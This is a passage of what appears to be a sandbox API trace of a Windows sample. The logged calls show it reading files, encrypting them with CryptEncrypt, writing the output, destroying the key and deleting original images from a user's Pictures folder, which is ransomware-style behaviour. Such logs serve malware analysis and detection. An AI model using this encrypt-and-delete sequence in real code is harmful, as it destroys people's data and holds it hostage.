lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0062.976] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc05, lpOverlapped=0x0) returned 1 [0062.976] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.979] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.980] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.980] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.980] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.980] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.980] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.980] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.980] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.980] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.981] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.981] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.981] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.981] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.981] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.981] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.981] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.981] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.981] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.981] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.982] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.982] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.983] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.983] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10c05, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10c10) returned 1 [0062.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.983] CharLowerBuffW (in: lpsz="byte[68625]", cchLength=0xb | out: lpsz="byte[68625]") returned 0xb [0062.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.985] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.985] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.985] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e1728*, pdwDataLen=0x130e618*=0x10c05, dwBufLen=0x10c10 | out: pbData=0x17e1728*, pdwDataLen=0x130e618*=0x10c10) returned 1 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.985] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.985] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.986] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.986] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.986] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.986] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.986] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.986] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.986] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.986] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.989] WriteFile (in: hFile=0x3bc, lpBuffer=0x188dc28*, nNumberOfBytesToWrite=0x10c10, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x188dc28*, lpNumberOfBytesWritten=0x130f01c*=0x10c10, lpOverlapped=0x0) returned 1 [0062.991] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.991] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.991] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.991] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.991] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.991] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.991] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.993] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.993] CryptDestroyKey (hKey=0x164c770) returned 1 [0062.993] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.993] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.993] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.993] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.993] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.994] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.994] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.994] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.994] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.994] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.994] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.994] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.994] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.994] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.994] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.994] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.995] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0062.995] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.995] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.995] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.995] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.995] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.995] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.995] CloseHandle (hObject=0x2ac) returned 1 [0062.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.997] CloseHandle (hObject=0x3bc) returned 1 [0063.017] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.018] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.018] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", lpFilePart=0x0) returned 0x3f [0063.018] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\u1co qmfe4uhz_jj.png")) returned 0x20 [0063.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0063.019] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\u1co qmfe4uhz_jj.png")) returned 1 [0063.021] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.021] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0063.021] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.021] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.021] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.021] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0063.022] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0063.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, 